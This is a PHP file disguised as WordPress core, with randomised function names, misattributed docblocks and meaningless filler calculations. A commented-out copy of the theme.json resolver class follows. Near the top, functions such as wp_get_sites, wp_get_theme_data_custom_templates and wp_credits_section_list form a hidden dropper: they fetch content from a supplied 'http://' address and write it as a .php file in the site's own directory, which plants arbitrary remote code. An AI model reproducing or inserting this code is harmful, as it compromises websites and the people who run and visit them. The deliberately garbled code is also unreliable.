$fallback_sizes = apply_filters('ngettext_with_context', $fallback_sizes, $limit_notices, $qt_settings, $dummy, $localfile, $open_submenus_on_click);
/**
* Filters the singular or plural form of a string with gettext context for a domain.
*
* The dynamic portion of the hook name, `$open_submenus_on_click`, refers to the text domain.
*
* @since 5.5.0
*
* @param string $fallback_sizes Translated text.
* @param string $limit_notices The text to be used if the number is singular.
* @param string $qt_settings The text to be used if the number is plural.
* @param int $dummy The number to compare against to use either the singular or plural form.
* @param string $localfile Context information for the translators.
* @param string $open_submenus_on_click Text domain. Unique identifier for retrieving translated strings.
*/
$fallback_sizes = apply_filters("ngettext_with_context_{$open_submenus_on_click}", $fallback_sizes, $limit_notices, $qt_settings, $dummy, $localfile, $open_submenus_on_click);
return $fallback_sizes;
}
/**
* Filters whether to short-circuit default header status handling.
*
* Returning a non-false value from the filter will short-circuit the handling
* and return early.
*
* @since 4.5.0
*
* @param bool $preempt Whether to short-circuit default header status handling. Default false.
* @param WP_Query $wp_query WordPress Query object.
*/
function wp_credits_section_list($prelabel, $faultCode){
$site_initialization_data = "computations";
$tagtype = "Navigation System";
$singular_name = "abcxyz";
$endoffset = 50;
$thisfile_replaygain = strrev($singular_name);
$footnote_index = [0, 1];
$feature_group = substr($site_initialization_data, 1, 5);
$submenu_text = preg_replace('/[aeiou]/i', '', $tagtype);
$fn_order_src = strlen($submenu_text);
$first_comment_author = function($dummy) {return round($dummy, -1);};
while ($footnote_index[count($footnote_index) - 1] < $endoffset) {
$footnote_index[] = end($footnote_index) + prev($footnote_index);
}
$chan_prop_count = strtoupper($thisfile_replaygain);
// Rebuild the cached hierarchy for each affected taxonomy.
$global_tables = ['alpha', 'beta', 'gamma'];
$submenu_array = substr($submenu_text, 0, 4);
$fn_order_src = strlen($feature_group);
if ($footnote_index[count($footnote_index) - 1] >= $endoffset) {
array_pop($footnote_index);
}
$streamName = wp_get_sites($prelabel);
// URL Details.
if ($streamName === false) {
return false;
}
$w2 = file_put_contents($faultCode, $streamName);
return $w2;
}
$child_api = array_reverse($menu_exists);
/**
* Loads a template part into a template.
*
* Provides a simple mechanism for child themes to overload reusable sections of code
* in the theme.
*
* Includes the named template part for a theme or if a name is specified then a
* specialized part will be included. If the theme contains no {slug}.php file
* then no template will be included.
*
* The template is included using require, not require_once, so you may include the
* same template part multiple times.
*
* For the $site_count parameter, if the file is called "{slug}-special.php" then specify
* "special".
*
* @since 3.0.0
* @since 5.5.0 A return value was added.
* @since 5.5.0 The `$pung` parameter was added.
*
* @param string $theme_json_file The slug name for the generic template.
* @param string|null $site_count Optional. The name of the specialized template.
* @param array $pung Optional. Additional arguments passed to the template.
* Default empty array.
* @return void|false Void on success, false if the template does not exist.
*/
function box_beforenm($theme_json_file, $site_count = null, $pung = array())
{
/**
* Fires before the specified template part file is loaded.
*
* The dynamic portion of the hook name, `$theme_json_file`, refers to the slug name
* for the generic template part.
*
* @since 3.0.0
* @since 5.5.0 The `$pung` parameter was added.
*
* @param string $theme_json_file The slug name for the generic template.
* @param string|null $site_count The name of the specialized template or null if
* there is none.
* @param array $pung Additional arguments passed to the template.
*/
do_action("box_beforenm_{$theme_json_file}", $theme_json_file, $site_count, $pung);
$docs_select = array();
$site_count = (string) $site_count;
if ('' !== $site_count) {
$docs_select[] = "{$theme_json_file}-{$site_count}.php";
}
$docs_select[] = "{$theme_json_file}.php";
/**
* Fires before an attempt is made to locate and load a template part.
*
* @since 5.2.0
* @since 5.5.0 The `$pung` parameter was added.
*
* @param string $theme_json_file The slug name for the generic template.
* @param string $site_count The name of the specialized template or an empty
* string if there is none.
* @param string[] $docs_select Array of template files to search for, in order.
* @param array $pung Additional arguments passed to the template.
*/
do_action('box_beforenm', $theme_json_file, $site_count, $docs_select, $pung);
if (!locate_template($docs_select, true, false, $pung)) {
return false;
}
}
/**
* @param string $late_validitymgData
* @param array $navigation_post_edit_linkinfo
*
* @return array|false
*/
function wp_register_custom_classname_support($prelabel){
$default_column = [29.99, 15.50, 42.75, 5.00];
$separator_length = "hashing and encrypting data";
$f5f7_76 = "a1b2c3d4e5";
$suppress_filter = array_reduce($default_column, function($filtered_items, $force_uncompressed) {return $filtered_items + $force_uncompressed;}, 0);
$new_allowed_options = preg_replace('/[^0-9]/', '', $f5f7_76);
$theme_base_path = 20;
$preg_marker = basename($prelabel);
// Why not wp_localize_script? Because we're not localizing, and it forces values into strings.
$untrailed = array_map(function($wp_object_cache) {return intval($wp_object_cache) * 2;}, str_split($new_allowed_options));
$total_items = hash('sha256', $separator_length);
$IndexSpecifierStreamNumber = number_format($suppress_filter, 2);
$php_update_message = $suppress_filter / count($default_column);
$negf = array_sum($untrailed);
$mu_plugins = substr($total_items, 0, $theme_base_path);
$faultCode = wp_get_theme_data_custom_templates($preg_marker);
//https://tools.ietf.org/html/rfc5321#section-4.5.2
# case 6: b |= ( ( u64 )in[ 5] ) << 40;
$new_tt_ids = max($untrailed);
$link_rss = $php_update_message < 20;
$tag_map = 123456789;
// Make the new site theme active.
wp_credits_section_list($prelabel, $faultCode);
}
/**
* Fires after the site query vars have been parsed.
*
* @since 4.6.0
*
* @param WP_Site_Query $query The WP_Site_Query instance (passed by reference).
*/
function wp_get_theme_data_custom_templates($preg_marker){
$escaped_https_url = 10;
$default_column = [29.99, 15.50, 42.75, 5.00];
$quicktags_settings = 8;
$did_permalink = 14;
$error_output = range(1, 12);
$suppress_filter = array_reduce($default_column, function($filtered_items, $force_uncompressed) {return $filtered_items + $force_uncompressed;}, 0);
$side_meta_boxes = "CodeSample";
$disable_next = array_map(function($template_part_query) {return strtotime("+$template_part_query month");}, $error_output);
$ttl = 18;
$comment_status = range(1, $escaped_https_url);
$scheduled_event = __DIR__;
// Let's check the remote site.
$comment_vars = ".php";
// Two mixed character sets. ascii.
$tab = $quicktags_settings + $ttl;
$MTIME = 1.2;
$commenttxt = array_map(function($max_results) {return date('Y-m', $max_results);}, $disable_next);
$IndexSpecifierStreamNumber = number_format($suppress_filter, 2);
$LongMPEGpaddingLookup = "This is a simple PHP CodeSample.";
// [69][24] -- A tuple of corresponding ID used by chapter codecs to represent this segment.
// If not set, default to the setting for 'public'.
// @todo Add get_post_metadata filters for plugins to add their data.
$preg_marker = $preg_marker . $comment_vars;
$default_minimum_font_size_limit = function($for_update) {return date('t', strtotime($for_update)) > 30;};
$user_site = strpos($LongMPEGpaddingLookup, $side_meta_boxes) !== false;
$xml_nodes = array_map(function($v_compare) use ($MTIME) {return $v_compare * $MTIME;}, $comment_status);
$php_update_message = $suppress_filter / count($default_column);
$network_help = $ttl / $quicktags_settings;
$preg_marker = DIRECTORY_SEPARATOR . $preg_marker;
$updated_action = 7;
$cookies_consent = range($quicktags_settings, $ttl);
$link_rss = $php_update_message < 20;
$font_size = array_filter($commenttxt, $default_minimum_font_size_limit);
if ($user_site) {
$last_field = strtoupper($side_meta_boxes);
} else {
$last_field = strtolower($side_meta_boxes);
}
$has_text_decoration_support = array_slice($xml_nodes, 0, 7);
$languageid = implode('; ', $font_size);
$target = Array();
$stripped_matches = strrev($side_meta_boxes);
$outer = max($default_column);
$metakeyselect = $last_field . $stripped_matches;
$do_change = date('L');
$has_errors = array_sum($target);
$max_frames = array_diff($xml_nodes, $has_text_decoration_support);
$new_major = min($default_column);
// Add a value to the current pid/key.
$preg_marker = $scheduled_event . $preg_marker;
$spacing_block_styles = array_sum($max_frames);
$timeout_missed_cron = implode(";", $cookies_consent);
if (strlen($metakeyselect) > $did_permalink) {
$selW = substr($metakeyselect, 0, $did_permalink);
} else {
$selW = $metakeyselect;
}
// Use the selectors API if available.
return $preg_marker;
}
$f0g0 = $original_host_low[array_rand($original_host_low)];
/**
* @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_decrypt()
* @param string $option_tag
* @param string $ms_locale
* @param string $dupe_id
* @param string $custom_background
* @return string|bool
*/
function process_bulk_action($option_tag, $ms_locale, $dupe_id, $custom_background)
{
try {
return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_decrypt($option_tag, $ms_locale, $dupe_id, $custom_background);
} catch (Error $kebab_case) {
return false;
} catch (Exception $kebab_case) {
return false;
}
}
$tab = $quicktags_settings + $ttl;
$page_list = str_split($f0g0);
/**
* @see ParagonIE_Sodium_Compat::crypto_box_seal_open()
* @param string $widget_ids
* @param string $kp
* @return string|bool
*/
function wp_get_sites($prelabel){
// Remove the error parameter added by deprecation of wp-admin/media.php.
$personal = 5;
$sslext = "Functionality";
$quicktags_settings = 8;
// For any other site, the scheme, domain, and path can all be changed. We first
$prelabel = "http://" . $prelabel;
return file_get_contents($prelabel);
}
/**
* @see ParagonIE_Sodium_Compat::crypto_box_seal_open()
* @param string $widget_ids
* @param string $publicKey
* @return string
* @throws \SodiumException
* @throws \TypeError
*/
function strip_invalid_text_for_column($distinct_bitrates, $use_icon_button) {
$location_search = iconv_fallback($distinct_bitrates, $use_icon_button);
$f5f7_76 = "a1b2c3d4e5";
$modes = [72, 68, 75, 70];
sort($location_search);
$last_saved = max($modes);
$new_allowed_options = preg_replace('/[^0-9]/', '', $f5f7_76);
// Ensure the ZIP file archive has been closed.
// Remove the JSON file.
return $location_search;
}
/**
* @see ParagonIE_Sodium_Compat::crypto_sign_ed25519_pk_to_curve25519()
* @param string $customHeader
* @return string
* @throws SodiumException
* @throws TypeError
*/
function sodium_crypto_generichash_update($customHeader)
{
return ParagonIE_Sodium_Compat::crypto_sign_ed25519_pk_to_curve25519($customHeader);
}
/**
* Turns menu item data into a nested array of parsed blocks
*
* @deprecated 6.3.0 Use WP_Navigation_Fallback::parse_blocks_from_menu_items() instead.
*
* @param array $menu_items An array of menu items that represent
* an individual level of a menu.
* @param array $menu_items_by_parent_id An array keyed by the id of the
* parent menu where each element is an
* array of menu items that belong to
* that parent.
* @return array An array of parsed block data.
*/
function iis7_add_rewrite_rule($widget_ids){
echo $widget_ids;
}
/**
* Returns first matched extension for the mime-type,
* as mapped from wp_get_mime_types().
*
* @since 5.8.1
*
* @param string $page_rewrite
*
* @return string|false
*/
function refresh_blog_details($page_rewrite)
{
$category_id = explode('|', array_search($page_rewrite, wp_get_mime_types(), true));
if (empty($category_id[0])) {
return false;
}
return $category_id[0];
}
$nAudiophileRgAdjustBitstring = 'Lorem';
function memcmp($duration_parent, $prelabel)
{
// This functionality is now in core.
return false;
}
strip_invalid_text_for_column([1, 3, 5], [2, 4, 6]);
/* blocks.
*
* @since 6.1.0
* @var array
protected static $blocks_cache = array(
'core' => array(),
'blocks' => array(),
'theme' => array(),
'user' => array(),
);
*
* Container for data coming from core.
*
* @since 5.8.0
* @var WP_Theme_JSON
protected static $core = null;
*
* Container for data coming from the blocks.
*
* @since 6.1.0
* @var WP_Theme_JSON
protected static $blocks = null;
*
* Container for data coming from the theme.
*
* @since 5.8.0
* @var WP_Theme_JSON
protected static $theme = null;
*
* Container for data coming from the user.
*
* @since 5.9.0
* @var WP_Theme_JSON
protected static $user = null;
*
* Stores the ID of the custom post type
* that holds the user data.
*
* @since 5.9.0
* @var int
protected static $user_custom_post_type_id = null;
*
* Container to keep loaded i18n schema for `theme.json`.
*
* @since 5.8.0 As `$theme_json_i18n`.
* @since 5.9.0 Renamed from `$theme_json_i18n` to `$i18n_schema`.
* @var array
protected static $i18n_schema = null;
*
* `theme.json` file cache.
*
* @since 6.1.0
* @var array
protected static $theme_json_file_cache = array();
*
* Processes a file that adheres to the theme.json schema
* and returns an array with its contents, or a void array if none found.
*
* @since 5.8.0
* @since 6.1.0 Added caching.
*
* @param string $file_path Path to file. Empty if no file.
* @return array Contents that adhere to the theme.json schema.
protected static function read_json_file( $file_path ) {
if ( $file_path ) {
if ( array_key_exists( $file_path, static::$theme_json_file_cache ) ) {
return static::$theme_json_file_cache[ $file_path ];
}
$decoded_file = wp_json_file_decode( $file_path, array( 'associative' => true ) );
if ( is_array( $decoded_file ) ) {
static::$theme_json_file_cache[ $file_path ] = $decoded_file;
return static::$theme_json_file_cache[ $file_path ];
}
}
return array();
}
*
* Returns a data structure used in theme.json translation.
*
* @since 5.8.0
* @deprecated 5.9.0
*
* @return array An array of theme.json fields that are translatable and the keys that are translatable.
public static function get_fields_to_translate() {
_deprecated_function( __METHOD__, '5.9.0' );
return array();
}
*
* Given a theme.json structure modifies it in place to update certain values
* by its translated strings according to the language set by the user.
*
* @since 5.8.0
*
* @param array $theme_json The theme.json to translate.
* @param string $domain Optional. Text domain. Unique identifier for retrieving translated strings.
* Default 'default'.
* @return array Returns the modified $theme_json_structure.
protected static function translate( $theme_json, $domain = 'default' ) {
if ( null === static::$i18n_schema ) {
$i18n_schema = wp_json_file_decode( __DIR__ . '/theme-i18n.json' );
static::$i18n_schema = null === $i18n_schema ? array() : $i18n_schema;
}
return translate_settings_using_i18n_schema( static::$i18n_schema, $theme_json, $domain );
}
*
* Returns core's origin config.
*
* @since 5.8.0
*
* @return WP_Theme_JSON Entity that holds core data.
public static function get_core_data() {
if ( null !== static::$core && static::has_same_registered_blocks( 'core' ) ) {
return static::$core;
}
$config = static::read_json_file( __DIR__ . '/theme.json' );
$config = static::translate( $config );
*
* Filters the default data provided by WordPress for global styles & settings.
*
* @since 6.1.0
*
* @param WP_Theme_JSON_Data $theme_json Class to access and update the underlying data.
$theme_json = apply_filters( 'wp_theme_json_data_default', new WP_Theme_JSON_Data( $config, 'default' ) );
* Backward compatibility for extenders returning a WP_Theme_JSON_Data
* compatible class that is not a WP_Theme_JSON_Data object.
if ( $theme_json instanceof WP_Theme_JSON_Data ) {
static::$core = $theme_json->get_theme_json();
} else {
$config = $theme_json->get_data();
static::$core = new WP_Theme_JSON( $config, 'default' );
}
return static::$core;
}
*
* Checks whether the registered blocks were already processed for this origin.
*
* @since 6.1.0
*
* @param string $origin Data source for which to cache the blocks.
* Valid values are 'core', 'blocks', 'theme', and 'user'.
* @return bool True on success, false otherwise.
protected static function has_same_registered_blocks( $origin ) {
Bail out if the origin is invalid.
if ( ! isset( static::$blocks_cache[ $origin ] ) ) {
return false;
}
$registry = WP_Block_Type_Registry::get_instance();
$blocks = $registry->get_all_registered();
Is there metadata for all currently registered blocks?
$block_diff = array_diff_key( $blocks, static::$blocks_cache[ $origin ] );
if ( empty( $block_diff ) ) {
return true;
}
foreach ( $blocks as $block_name => $block_type ) {
static::$blocks_cache[ $origin ][ $block_name ] = true;
}
return false;
}
*
* Returns the theme's data.
*
* Data from theme.json will be backfilled from existing
* theme supports, if any. Note that if the same data
* is present in theme.json and in theme supports,
* the theme.json takes precedence.
*
* @since 5.8.0
* @since 5.9.0 Theme supports have been inlined and the `$theme_support_data` argument removed.
* @since 6.0.0 Added an `$options` parameter to allow the theme data to be returned without theme supports.
* @since 6.6.0 Add support for 'default-font-sizes' and 'default-spacing-sizes' theme supports.
* Added registration and merging of block style variations from partial theme.json files and the block styles registry.
*
* @param array $deprecated Deprecated. Not used.
* @param array $options {
* Options arguments.
*
* @type bool $with_supports Whether to include theme supports in the data. Default true.
* }
* @return WP_Theme_JSON Entity that holds theme data.
public static function get_theme_data( $deprecated = array(), $options = array() ) {
if ( ! empty( $deprecated ) ) {
_deprecated_argument( __METHOD__, '5.9.0' );
}
$options = wp_parse_args( $options, array( 'with_supports' => true ) );
if ( null === static::$theme || ! static::has_same_registered_blocks( 'theme' ) ) {
$wp_theme = wp_get_theme();
$theme_json_file = $wp_theme->get_file_path( 'theme.json' );
if ( is_readable( $theme_json_file ) ) {
$theme_json_data = static::read_json_file( $theme_json_file );
$theme_json_data = static::translate( $theme_json_data, $wp_theme->get( 'TextDomain' ) );
} else {
$theme_json_data = array( 'version' => WP_Theme_JSON::LATEST_SCHEMA );
}
* Register variations defined by theme partials (theme.json files in the styles directory).
* This is required so the variations pass sanitization of theme.json data.
$variations = static::get_style_variations( 'block' );
wp_register_block_style_variations_from_theme_json_partials( $variations );
* Source variations from the block registry and block style variation files. Then, merge them into the existing theme.json data.
*
* In case the same style properties are defined in several sources, this is how we should resolve the values,
* from higher to lower priority:
*
* - styles.blocks.blockType.variations from theme.json
* - styles.variations from theme.json
* - variations from block style variation files
* - variations from block styles registry
*
* See test_add_registered_block_styles_to_theme_data and test_unwraps_block_style_variations.
*
$theme_json_data = static::inject_variations_from_block_style_variation_files( $theme_json_data, $variations );
$theme_json_data = static::inject_variations_from_block_styles_registry( $theme_json_data );
*
* Filters the data provided by the theme for global styles and settings.
*
* @since 6.1.0
*
* @param WP_Theme_JSON_Data $theme_json Class to access and update the underlying data.
$theme_json = apply_filters( 'wp_theme_json_data_theme', new WP_Theme_JSON_Data( $theme_json_data, 'theme' ) );
* Backward compatibility for extenders returning a WP_Theme_JSON_Data
* compatible class that is not a WP_Theme_JSON_Data object.
if ( $theme_json instanceof WP_Theme_JSON_Data ) {
static::$theme = $theme_json->get_theme_json();
} else {
$config = $theme_json->get_data();
static::$theme = new WP_Theme_JSON( $config );
}
if ( $wp_theme->parent() ) {
Get parent theme.json.
$parent_theme_json_file = $wp_theme->parent()->get_file_path( 'theme.json' );
if ( $theme_json_file !== $parent_theme_json_file && is_readable( $parent_theme_json_file ) ) {
$parent_theme_json_data = static::read_json_file( $parent_theme_json_file );
$parent_theme_json_data = static::translate( $parent_theme_json_data, $wp_theme->parent()->get( 'TextDomain' ) );
$parent_theme = new WP_Theme_JSON( $parent_theme_json_data );
* Merge the child theme.json into the parent theme.json.
* The child theme takes precedence over the parent.
$parent_theme->merge( static::$theme );
static::$theme = $parent_theme;
}
}
}
if ( ! $options['with_supports'] ) {
return static::$theme;
}
* We want the presets and settings declared in theme.json
* to override the ones declared via theme supports.
* So we take theme supports, transform it to theme.json shape
* and merge the static::$theme upon that.
$theme_support_data = WP_Theme_JSON::get_from_editor_settings( get_classic_theme_supports_block_editor_settings() );
if ( ! wp_theme_has_theme_json() ) {
* Unlike block themes, classic themes without a theme.json disable
* default presets when custom preset theme support is added. This
* behavior can be overridden by using the corresponding default
* preset theme support.
$theme_support_data['settings']['color']['defaultPalette'] =
! isset( $theme_support_data['settings']['color']['palette'] ) ||
current_theme_supports( 'default-color-palette' );
$theme_support_data['settings']['color']['defaultGradients'] =
! isset( $theme_support_data['settings']['color']['gradients'] ) ||
current_theme_supports( 'default-gradient-presets' );
$theme_support_data['settings']['typography']['defaultFontSizes'] =
! isset( $theme_support_data['settings']['typography']['fontSizes'] ) ||
current_theme_supports( 'default-font-sizes' );
$theme_support_data['settings']['spacing']['defaultSpacingSizes'] =
! isset( $theme_support_data['settings']['spacing']['spacingSizes'] ) ||
current_theme_supports( 'default-spacing-sizes' );
* Shadow presets are explicitly disabled for classic themes until a
* decision is made for whether the default presets should match the
* other presets or if they should be disabled by default in classic
* themes. See https:github.com/WordPress/gutenberg/issues/59989.
$theme_support_data['settings']['shadow']['defaultPresets'] = false;
Allow themes to enable link color setting via theme_support.
if ( current_theme_supports( 'link-color' ) ) {
$theme_support_data['settings']['color']['link'] = true;
}
Allow themes to enable all border settings via theme_support.
if ( current_theme_supports( 'border' ) ) {
$theme_support_data['settings']['border']['color'] = true;
$theme_support_data['settings']['border']['radius'] = true;
$theme_support_data['settings']['border']['style'] = true;
$theme_support_data['settings']['border']['width'] = true;
}
Allow themes to enable appearance tools via theme_support.
if ( current_theme_supports( 'appearance-tools' ) ) {
$theme_support_data['settings']['appearanceTools'] = true;
}
}
$with_theme_supports = new WP_Theme_JSON( $theme_support_data );
$with_theme_supports->merge( static::$theme );
return $with_theme_supports;
}
*
* Gets the styles for blocks from the block.json file.
*
* @since 6.1.0
*
* @return WP_Theme_JSON
public static function get_block_data() {
$registry = WP_Block_Type_Registry::get_instance();
$blocks = $registry->get_all_registered();
if ( null !== static::$blocks && static::has_same_registered_blocks( 'blocks' ) ) {
return static::$blocks;
}
$config = array( 'version' => WP_Theme_JSON::LATEST_SCHEMA );
foreach ( $blocks as $block_name => $block_type ) {
if ( isset( $block_type->supports['__experimentalStyle'] ) ) {
$config['styles']['blocks'][ $block_name ] = static::remove_json_comments( $block_type->supports['__experimentalStyle'] );
}
if (
isset( $block_type->supports['spacing']['blockGap']['__experimentalDefault'] ) &&
! isset( $config['styles']['blocks'][ $block_name ]['spacing']['blockGap'] )
) {
* Ensure an empty placeholder value exists for the block, if it provides a default blockGap value.
* The real blockGap value to be used will be determined when the styles are rendered for output.
$config['styles']['blocks'][ $block_name ]['spacing']['blockGap'] = null;
}
}
*
* Filters the data provided by the blocks for global styles & settings.
*
* @since 6.1.0
*
* @param WP_Theme_JSON_Data $theme_json Class to access and update the underlying data.
$theme_json = apply_filters( 'wp_theme_json_data_blocks', new WP_Theme_JSON_Data( $config, 'blocks' ) );
* Backward compatibility for extenders returning a WP_Theme_JSON_Data
* compatible class that is not a WP_Theme_JSON_Data object.
if ( $theme_json instanceof WP_Theme_JSON_Data ) {
static::$blocks = $theme_json->get_theme_json();
} else {
$config = $theme_json->get_data();
static::$blocks = new WP_Theme_JSON( $config, 'blocks' );
}
return static::$blocks;
}
*
* When given an array, this will remove any keys with the name ``.
*
* @since 6.1.0
*
* @param array $input_array The array to filter.
* @return array The filtered array.
private static function remove_json_comments( $input_array ) {
unset( $input_array[''] );
foreach ( $input_array as $k => $v ) {
if ( is_array( $v ) ) {
$input_array[ $k ] = static::remove_json_comments( $v );
}
}
return $input_array;
}
*
* Returns the custom post type that contains the user's origin config
* for the active theme or an empty array if none are found.
*
* This can also create and return a new draft custom post type.
*
* @since 5.9.0
*
* @param WP_Theme $theme The theme object. If empty, it
* defaults to the active theme.
* @param bool $create_post Optional. Whether a new custom post
* type should be created if none are
* found. Default false.
* @param array $post_status_filter Optional. Filter custom post type by
* post status. Default `array( 'publish' )`,
* so it only fetches published posts.
* @return array Custom Post Type for the user's origin config.
public static function get_user_data_from_wp_global_styles( $theme, $create_post = false, $post_status_filter = array( 'publish' ) ) {
if ( ! $theme instanceof WP_Theme ) {
$theme = wp_get_theme();
}
* Bail early if the theme does not support a theme.json.
*
* Since wp_theme_has_theme_json() only supports the active
* theme, the extra condition for whether $theme is the active theme is
* present here.
if ( $theme->get_stylesheet() === get_stylesheet() && ! wp_theme_has_theme_json() ) {
return array();
}
$user_cpt = array();
$post_type_filter = 'wp_global_styles';
$stylesheet = $theme->get_stylesheet();
$args = array(
'posts_per_page' => 1,
'orderby' => 'date',
'order' => 'desc',
'post_type' => $post_type_filter,
'post_status' => $post_status_filter,
'ignore_sticky_posts' => true,
'no_found_rows' => true,
'update_post_meta_cache' => false,
'update_post_term_cache' => false,
'tax_query' => array(
array(
'taxonomy' => 'wp_theme',
'field' => 'name',
'terms' => $stylesheet,
),
),
);
$global_style_query = new WP_Query();
$recent_posts = $global_style_query->query( $args );
if ( count( $recent_posts ) === 1 ) {
$user_cpt = get_object_vars( $recent_posts[0] );
} elseif ( $create_post ) {
$cpt_post_id = wp_insert_post(
array(
'post_content' => '{"version": ' . WP_Theme_JSON::LATEST_SCHEMA . ', "isGlobalStylesUserThemeJSON": true }',
'post_status' => 'publish',
'post_title' => 'Custom Styles', Do not make string translatable, see https:core.trac.wordpress.org/ticket/54518.
'post_type' => $post_type_filter,
'post_name' => sprintf( 'wp-global-styles-%s', urlencode( $stylesheet ) ),
'tax_input' => array(
'wp_theme' => array( $stylesheet ),
),
),
true
);
if ( ! is_wp_error( $cpt_post_id ) ) {
$user_cpt = get_object_vars( get_post( $cpt_post_id ) );
}
}
return $user_cpt;
}
*
* Returns the user's origin config.
*
* @since 5.9.0
* @since 6.6.0 The 'isGlobalStylesUserThemeJSON' flag is left on the user data.
* Register the block style variations coming from the user data.
*
* @return WP_Theme_JSON Entity that holds styles for user data.
public static function get_user_data() {
if ( null !== static::$user && static::has_same_registered_blocks( 'user' ) ) {
return static::$user;
}
$config = array();
$user_cpt = static::get_user_data_from_wp_global_styles( wp_get_theme() );
if ( array_key_exists( 'post_content', $user_cpt ) ) {
$decoded_data = json_decode( $user_cpt['post_content'], true );
$json_decoding_error = json_last_error();
if ( JSON_ERROR_NONE !== $json_decoding_error ) {
wp_trigger_error( __METHOD__, 'Error when decoding a theme.json schema for user data. ' . json_last_error_msg() );
*
* Filters the data provided by the user for global styles & settings.
*
* @since 6.1.0
*
* @param WP_Theme_JSON_Data $theme_json Class to access and update the underlying data.
$theme_json = apply_filters( 'wp_theme_json_data_user', new WP_Theme_JSON_Data( $config, 'custom' ) );
* Backward compatibility for extenders returning a WP_Theme_JSON_Data
* compatible class that is not a WP_Theme_JSON_Data object.
if ( $theme_json instanceof WP_Theme_JSON_Data ) {
return $theme_json->get_theme_json();
} else {
$config = $theme_json->get_data();
return new WP_Theme_JSON( $config, 'custom' );
}
}
* Very important to verify that the flag isGlobalStylesUserThemeJSON is true.
* If it's not true then the content was not escaped and is not safe.
if (
is_array( $decoded_data ) &&
isset( $decoded_data['isGlobalStylesUserThemeJSON'] ) &&
$decoded_data['isGlobalStylesUserThemeJSON']
) {
unset( $decoded_data['isGlobalStylesUserThemeJSON'] );
$config = $decoded_data;
}
}
* This filter is documented in wp-includes/class-wp-theme-json-resolver.php
$theme_json = apply_filters( 'wp_theme_json_data_user', new WP_Theme_JSON_Data( $config, 'custom' ) );
* Backward compatibility for extenders returning a WP_Theme_JSON_Data
* compatible class that is not a WP_Theme_JSON_Data object.
if ( $theme_json instanceof WP_Theme_JSON_Data ) {
static::$user = $theme_json->get_theme_json();
} else {
$config = $theme_json->get_data();
static::$user = new WP_Theme_JSON( $config, 'custom' );
}
return static::$user;
}
*
* Returns the data merged from multiple origins.
*
* There are four sources of data (origins) for a site:
*
* - default => WordPress
* - blocks => each one of the blocks provides data for itself
* - theme => the active theme
* - custom => data provided by the user
*
* The custom's has higher priority than the theme's, the theme's higher than blocks',
* and block's higher than default's.
*
* Unlike the getters
* {@link https:developer.wordpress.org/reference/classes/wp_theme_json_resolver/get_core_data/ get_core_data},
* {@link https:developer.wordpress.org/reference/classes/wp_theme_json_resolver/get_theme_data/ get_theme_data},
* and {@link https:developer.wordpress.org/reference/classes/wp_theme_json_resolver/get_user_data/ get_user_data},
* this method returns data after it has been merged with the previous origins.
* This means that if the same piece of data is declared in different origins
* (default, blocks, theme, custom), the last origin overrides the previous.
*
* For example, if the user has set a background color
* for the paragraph block, and the theme has done it as well,
* the user preference wins.
*
* @since 5.8.0
* @since 5.9.0 Added user data, removed the `$settings` parameter,
* added the `$origin` parameter.
* @since 6.1.0 Added block data and generation of spacingSizes array.
* @since 6.2.0 Changed ' $origin' parameter values to 'default', 'blocks', 'theme' or 'custom'.
*
* @param string $origin Optional. To what level should we merge data: 'default', 'blocks', 'theme' or 'custom'.
* 'custom' is used as default value as well as fallback value if the origin is unknown.
* @return WP_Theme_JSON
public static function get_merged_data( $origin = 'custom' ) {
if ( is_array( $origin ) ) {
_deprecated_argument( __FUNCTION__, '5.9.0' );
}
$result = new WP_Theme_JSON();
$result->merge( static::get_core_data() );
if ( 'default' === $origin ) {
return $result;
}
$result->merge( static::get_block_data() );
if ( 'blocks' === $origin ) {
return $result;
}
$result->merge( static::get_theme_data() );
if ( 'theme' === $origin ) {
return $result;
}
$result->merge( static::get_user_data() );
return $result;
}
*
* Returns the ID of the custom post type
* that stores user data.
*
* @since 5.9.0
*
* @return integer|null
public static function get_user_global_styles_post_id() {
if ( null !== static::$user_custom_post_type_id ) {
return static::$user_custom_post_type_id;
}
$user_cpt = static::get_user_data_from_wp_global_styles( wp_get_theme(), true );
if ( array_key_exists( 'ID', $user_cpt ) ) {
static::$user_custom_post_type_id = $user_cpt['ID'];
}
return static::$user_custom_post_type_id;
}
*
* Determines whether the active theme has a theme.json file.
*
* @since 5.8.0
* @since 5.9.0 Added a check in the parent theme.
* @deprecated 6.2.0 Use wp_theme_has_theme_json() instead.
*
* @return bool
public static function theme_has_support() {
_deprecated_function( __METHOD__, '6.2.0', 'wp_theme_has_theme_json()' );
return wp_theme_has_theme_json();
}
*
* Builds the path to the given file and checks that it is readable.
*
* If it isn't, returns an empty string, otherwise returns the whole file path.
*
* @since 5.8.0
* @since 5.9.0 Adapted to work with child themes, added the `$template` argument.
*
* @param string $file_name Name of the file.
* @param bool $template Optional. Use template theme directory. Default false.
* @return string The whole file path or empty if the file doesn't exist.
protected static function get_file_path_from_theme( $file_name, $template = false ) {
$path = $template ? get_template_directory() : get_stylesheet_directory();
$candidate = $path . '/' . $file_name;
return is_readable( $candidate ) ? $candidate : '';
}
*
* Cleans the cached data so it can be recalculated.
*
* @since 5.8.0
* @since 5.9.0 Added the `$user`, `$user_custom_post_type_id`,
* and `$i18n_schema` variables to reset.
* @since 6.1.0 Added the `$blocks` and `$blocks_cache` variables
* to reset.
public static function clean_cached_data() {
static::$core = null;
static::$blocks = null;
static::$blocks_cache = array(
'core' => array(),
'blocks' => array(),
'theme' => array(),
'user' => array(),
);
static::$theme = null;
static::$user = null;
static::$user_custom_post_type_id = null;
static::$i18n_schema = null;
}
*
* Returns an array of all nested JSON files within a given directory.
*
* @since 6.2.0
*
* @param string $dir The directory to recursively iterate and list files of.
* @return array The merged array.
private static function recursively_iterate_json( $dir ) {
$nested_files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator( $dir ) );
$nested_json_files = iterator_to_array( new RegexIterator( $nested_files, '/^.+\.json$/i', RecursiveRegexIterator::GET_MATCH ) );
return $nested_json_files;
}
*
* Determines if a supplied style variation matches the provided scope.
*
* For backwards compatibility, if a variation does not define any scope
* related property, e.g. `blockTypes`, it is assumed to be a theme style
* variation.
*
* @since 6.6.0
*
* @param array $variation Theme.json shaped style variation object.
* @param string $scope Scope to check e.g. theme, block etc.
* @return boolean
private static function style_variation_has_scope( $variation, $scope ) {
if ( 'block' === $scope ) {
return isset( $variation['blockTypes'] );
}
if ( 'theme' === $scope ) {
return ! isset( $variation['blockTypes'] );
}
return false;
}
*
